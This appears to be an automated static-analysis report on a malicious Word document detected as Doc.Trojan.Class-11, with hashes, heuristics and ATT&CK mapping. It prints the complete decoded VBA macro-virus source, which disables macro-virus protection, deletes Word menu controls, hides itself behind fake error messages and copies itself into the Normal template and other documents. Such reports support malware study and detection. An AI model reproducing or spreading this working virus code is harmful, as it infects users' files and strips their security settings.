Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9aea71e0fb90d026…

MALICIOUS

Office (OLE)

39.0 KB Created: 2000-04-05 01:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f343bbf393007e9ec28d148e0bd15f63 SHA-1: 60a63b09528113773d25631b9f4359ca82097c1b SHA-256: 9aea71e0fb90d026e88c9862d4914223ec70f36b4d71d6bc05e748851fe2fb83
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This document contains legacy WordBasic macro virus markers and AutoOpen/Auto_Close macros, indicating a malicious intent to execute code upon opening. The VBA script attempts to disable virus protection and other security features, suggesting it aims to download and execute a secondary payload. The ClamAV detection as 'Doc.Trojan.Class-11' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Class-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-11
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.replaceline 5, "Sub AutoClose"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8560 bytes
SHA-256: 57f7663606ffb4ab20bfbd3946011e2f97f80983f9a6fe4dc6818326f6717467
Detection
ClamAV: Doc.Trojan.Class-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
On Error Resume Next
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("Tools").Controls("Options...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Options.VirusProtection = False
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Options.SaveNormalPrompt = False
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("Format").Controls("Style...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Options.ConfirmConversions = False
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("Tools").Controls("Customize...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 90 And ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 90 Then GoTo Epp
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 90 Then
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    Set Eho = NormalTemplate.VBProject.VBComponents.Item(1)
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\system.sys"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("c:\system.sys")
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.replaceline 5, "Sub AutoClose"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.replaceline 99, "Sub ToolsMacro"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.replaceline 105, "Sub ViewVBCode"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End If
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 90 Then
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    Set Eho = ActiveDocument.VBProject.VBComponents.Item(1)
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("c:\system.sys")
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.replaceline 99, "Private Sub TM"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.replaceline 105, "Private Sub VVBC"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End If
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
With Eho.CodeModule
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    For x = 1 To 4
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    .deletelines 1
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    Next x
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End With
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
With Eho.CodeModule
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    For x = 2 To 104 Step 2
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    .replaceline x, "'" & Now & Application.ActivePrinter & Application.UserName & "sdjw3456ot76 weor9w58349583" & Now
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    Next x
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    .replaceline 106, "'MV Version 1e"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End With
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
If Day(Now) = 15 Then
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    CommandBars("File").Controls("Page Setup...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    CommandBars("File").Controls("Print Preview").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    CommandBars("File").Controls("Print...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    CommandBars("File").Controls("Exit").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    CommandBars("File").Controls("New...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    CommandBars("File").Controls("Open...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
    CommandBars("File").Controls("Close").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End If
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Epp:
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 80 And ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 80 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
End Sub
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
Private Sub TM()
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
MsgBox "This program has performed an illegal operation and will shut down.", vbCritical, "Microsoft Word"
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
End Sub
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
Private Sub VVBC()
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
MsgBox "This program has performed an illegal operation and will shut down.", vbCritical, "Microsoft Word"
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
End Sub
'MV Version 1e


Private Sub Document_New()
    StartWizard
End Sub

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